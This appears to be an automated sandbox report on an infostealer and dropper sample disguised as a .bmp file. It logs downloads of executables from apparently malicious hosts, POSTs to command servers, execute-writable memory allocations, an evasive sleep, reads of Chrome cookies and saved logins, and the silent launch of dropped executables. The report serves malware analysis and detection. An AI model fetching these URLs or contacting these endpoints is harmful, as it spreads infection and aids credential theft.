request GET http://fouratlinks.com/stockmerchandise/serious_punch_upd/HttpTwcyK3R6gQj7t7EY.exe
request GET http://fouratlinks.com/stockmerchandise/total_out_hand/v8hBqWuKscbjZRqNatPw.exe
request GET http://fouratlinks.com/Widgets/FolderShare.exe
request POST http://requestimedout.com/xenocrates/zoroaster
request GET https://cdn.discordapp.com/attachments/891021838312931420/902505896159113296/PL_Client.bmp
request GET https://ipinfo.io/widget
request GET https://cdn.discordapp.com/attachments/891006172130345095/905393686618193921/help0301.bmp
request GET https://d.gogamed.com/userhome/22/any.exe
request GET https://el5en1977834657.s3.ap-south-1.amazonaws.com/kak.exe
request POST https://connectini.net/Series/SuperNitouDisc.php
request GET https://connectini.net/S2S/Disc/Disc.php?ezok=folderlyla1&tesla=7
request POST http://212.192.241.15/base/api/getData.php
request POST http://staticimg.youtuuee.com/api/?sid=600653&key=bfe10d3bf124f043738c20f287bfc0c2
request POST http://requestimedout.com/xenocrates/zoroaster
request POST https://connectini.net/Series/SuperNitouDisc.php
domain iplis.ru description Russian Federation domain TLD
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2328
region_size: 1351680
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03b10000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2572
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 159744
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00abe000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2572
region_size: 278528
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02170000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2896
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 65536
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00a2e000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2896
region_size: 36864
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003a0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3028
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3028
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 40960
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00401000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3028
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 385024
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0040f000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1584
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00350000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1236
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000006750000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 786432
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000650000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000690000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2200
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2ca1000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2200
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2f1e000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2200
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2f1e000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2200
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2f1f000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2200
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2f1f000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2200
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2f1f000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2200
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2f1f000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2200
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2f1f000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2200
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2f1f000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2200
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2f1f000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2200
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2f1f000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2200
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2f20000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2200
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2f20000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2200
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2f20000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2200
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2f20000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2200
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2f20000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2200
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2f21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2200
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2f21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2200
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2f21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2200
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2f21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2200
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2f1e000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007ff00052000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 589824
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff20000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007ff0010a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007ff00042000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007ff00053000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007ff0011a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007ff00142000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007ff0011d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007ff0005c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007ff00190000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007ff00054000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007ff00191000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007ff00192000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0
description Cube_WW14.bmp tried to sleep 204 seconds, actually delayed analysis time by 204 seconds
Time & API Arguments Status Return Repeated

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 10226479104
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Explorer
total_number_of_bytes: 0
1 1 0
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 36\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 65\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 62\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 3\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 24\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 75\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 98\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 28\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 93\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 92\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 97\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 47\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 74\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 21\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 83\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 17\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 69\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 50\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 57\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 63\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 66\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 34\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 80\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 84\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 77\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 64\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 8\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 31\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 4\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 35\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 6\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 72\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 13\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 53\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 23\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 25\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 61\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 82\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 7\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 12\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 95\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 22\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 70\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 73\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 18\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 56\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 55\Cookies
name DLL language LANG_NEUTRAL filetype PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows sublanguage SUBLANG_ARABIC_OMAN offset 0x00039c30 size 0x0002c000
name RT_ICON language LANG_NEUTRAL filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_ARABIC_OMAN offset 0x00039768 size 0x00000468
name RT_ICON language LANG_NEUTRAL filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_ARABIC_OMAN offset 0x00039768 size 0x00000468
name RT_ICON language LANG_NEUTRAL filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_ARABIC_OMAN offset 0x00039768 size 0x00000468
name RT_ICON language LANG_NEUTRAL filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_ARABIC_OMAN offset 0x00039768 size 0x00000468
name RT_ICON language LANG_NEUTRAL filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_ARABIC_OMAN offset 0x00039768 size 0x00000468
name RT_ICON language LANG_NEUTRAL filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_ARABIC_OMAN offset 0x00039768 size 0x00000468
name RT_GROUP_ICON language LANG_NEUTRAL filetype data sublanguage SUBLANG_ARABIC_OMAN offset 0x00039bd0 size 0x0000005a
name RT_VERSION language LANG_NEUTRAL filetype data sublanguage SUBLANG_ARABIC_OMAN offset 0x00020270 size 0x000002dc
domain ipinfo.io
domain ip-api.com
file C:\Users\test22\Pictures\Adobe Films\jm9WZqU48OXjZDKC5i0a7tT4.exe
file C:\Program Files (x86)\Windows Photo Viewer\Nunaedobyle.exe
file C:\Users\test22\AppData\Local\Temp\pidHTSIGEi8DrAmaYu9K8ghN89.dll
file C:\Users\test22\AppData\Local\Temp\6e-0db4f-5d3-56daa-9764bf68c6570\Roshovubysae.exe
file C:\Users\test22\Documents\T9aZunTSaNJLBVfIkgF5mtQo.dll
file C:\Users\test22\Pictures\Adobe Films\MN92omWtlXm59ZZLlrxY1Nfj.exe
file C:\Users\test22\Pictures\Adobe Films\koJ0QS7kzMBOVLlshkrNuyJs.exe
file C:\Users\test22\AppData\Local\Temp\is-IOJ5E.tmp\_isetup\_shfoldr.dll
file C:\Users\test22\AppData\Local\Temp\32-a9548-5f9-374be-9d560cdb36c56\Rufaecolufo.exe
file C:\Users\test22\Pictures\Adobe Films\hxqIswt6ZZXn9eDwf0oo44Y2.exe
file C:\Program Files\7-Zip\MKTPOZJMHE\foldershare.exe
file C:\Users\test22\AppData\Local\Temp\is-IOJ5E.tmp\DYbALA.exe
file C:\Users\test22\AppData\Local\Temp\is-IOJ5E.tmp\idp.dll
file C:\Users\test22\Pictures\Adobe Films\NjPCD84QAGvJgwTSdwlcfFXM.exe
file C:\Users\test22\Pictures\Adobe Films\uUg6Uopi0cC3fPYtgUana1B9.exe
file C:\Users\test22\Pictures\Adobe Films\qNCY_EOBar1MnuVc9oiDPLRw.exe
file C:\Users\test22\Pictures\Adobe Films\jm9WZqU48OXjZDKC5i0a7tT4.exe
file C:\Users\test22\Pictures\Adobe Films\MN92omWtlXm59ZZLlrxY1Nfj.exe
file C:\Users\test22\Pictures\Adobe Films\uUg6Uopi0cC3fPYtgUana1B9.exe
file C:\Users\test22\Pictures\Adobe Films\NjPCD84QAGvJgwTSdwlcfFXM.exe
file C:\Users\test22\Pictures\Adobe Films\koJ0QS7kzMBOVLlshkrNuyJs.exe
file C:\Users\test22\Pictures\Adobe Films\qNCY_EOBar1MnuVc9oiDPLRw.exe
file C:\Users\test22\AppData\Local\Temp\32-a9548-5f9-374be-9d560cdb36c56\Rufaecolufo.exe
file C:\Users\test22\AppData\Local\Temp\6e-0db4f-5d3-56daa-9764bf68c6570\Roshovubysae.exe
file C:\Program Files\7-Zip\MKTPOZJMHE\foldershare.exe
file C:\Users\test22\AppData\Local\Temp\6e-0db4f-5d3-56daa-9764bf68c6570\Roshovubysae.exe
file C:\Users\test22\AppData\Local\Temp\is-IOJ5E.tmp\_isetup\_shfoldr.dll
file C:\Users\test22\AppData\Local\Temp\is-IOJ5E.tmp\idp.dll
file C:\Users\test22\AppData\Local\Temp\is-8LAQS.tmp\qNCY_EOBar1MnuVc9oiDPLRw.tmp
file C:\Users\test22\AppData\Local\Temp\is-IOJ5E.tmp\DYbALA.exe
file C:\Users\test22\AppData\Local\Temp\32-a9548-5f9-374be-9d560cdb36c56\Rufaecolufo.exe
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\Pictures//Adobe Films\jm9WZqU48OXjZDKC5i0a7tT4.exe
parameters:
filepath: C:\Users\test22\Pictures\Adobe Films\jm9WZqU48OXjZDKC5i0a7tT4.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\Pictures//Adobe Films\MN92omWtlXm59ZZLlrxY1Nfj.exe
parameters:
filepath: C:\Users\test22\Pictures\Adobe Films\MN92omWtlXm59ZZLlrxY1Nfj.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\Pictures//Adobe Films\uUg6Uopi0cC3fPYtgUana1B9.exe
parameters:
filepath: C:\Users\test22\Pictures\Adobe Films\uUg6Uopi0cC3fPYtgUana1B9.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\Pictures//Adobe Films\NjPCD84QAGvJgwTSdwlcfFXM.exe
parameters:
filepath: C:\Users\test22\Pictures\Adobe Films\NjPCD84QAGvJgwTSdwlcfFXM.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\Pictures//Adobe Films\koJ0QS7kzMBOVLlshkrNuyJs.exe
parameters:
filepath: C:\Users\test22\Pictures\Adobe Films\koJ0QS7kzMBOVLlshkrNuyJs.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\Pictures//Adobe Films\qNCY_EOBar1MnuVc9oiDPLRw.exe
parameters:
filepath: C:\Users\test22\Pictures\Adobe Films\qNCY_EOBar1MnuVc9oiDPLRw.exe
1 1 0
Time & API Arguments Status Return Repeated

Process32NextW

 snapshot_handle: 0x00000520
process_name: mobsync.exe
process_identifier: 1176
1 1 0

Process32NextW

 snapshot_handle: 0x00000520
process_name: pw.exe
process_identifier: 2080
1 1 0

Process32NextW

 snapshot_handle: 0x00000520
process_name: taskhost.exe
process_identifier: 2124
1 1 0

Process32NextW

 snapshot_handle: 0x00000520
process_name: cmd.exe
process_identifier: 2248
1 1 0

Process32NextW

 snapshot_handle: 0x00000520
process_name: conhost.exe
process_identifier: 2256
1 1 0

Process32NextW

 snapshot_handle: 0x00000520
process_name: Cube_WW14.bmp
process_identifier: 2328
1 1 0

Process32NextW

 snapshot_handle: 0x00000520
process_name: pw.exe
process_identifier: 2336
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm9WZqU48OXjZDKC5i0a7tT4.exe
process_identifier: 2492
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: MN92omWtlXm59ZZLlrxY1Nfj.exe
process_identifier: 2572
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: uUg6Uopi0cC3fPYtgUana1B9.exe
process_identifier: 2620
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: conhost.exe
process_identifier: 2656
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: cmd.exe
process_identifier: 2684
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: pw.exe
process_identifier: 2764
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: conhost.exe
process_identifier: 2772
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: NjPCD84QAGvJgwTSdwlcfFXM.exe
process_identifier: 2840
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: koJ0QS7kzMBOVLlshkrNuyJs.exe
process_identifier: 2896
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: cmd.exe
process_identifier: 2988
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: conhost.exe
process_identifier: 2996
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: pw.exe
process_identifier: 3020
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: cmd.exe
process_identifier: 2116
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: conhost.exe
process_identifier: 2176
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: pw.exe
process_identifier: 2216
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: cmd.exe
process_identifier: 2428
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: conhost.exe
process_identifier: 2412
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: pw.exe
process_identifier: 2148
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: cmd.exe
process_identifier: 2720
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: conhost.exe
process_identifier: 2728
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: pw.exe
process_identifier: 2696
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: conhost.exe
process_identifier: 2908
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: pw.exe
process_identifier: 300
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: cmd.exe
process_identifier: 2780
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: conhost.exe
process_identifier: 2752
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: pw.exe
process_identifier: 200
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: qNCY_EOBar1MnuVc9oiDPLRw.exe
process_identifier: 3028
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: inject-x86.exe
process_identifier: 776
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: inject-x64.exe
process_identifier: 564
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: DYbALA.exe
process_identifier: 2200
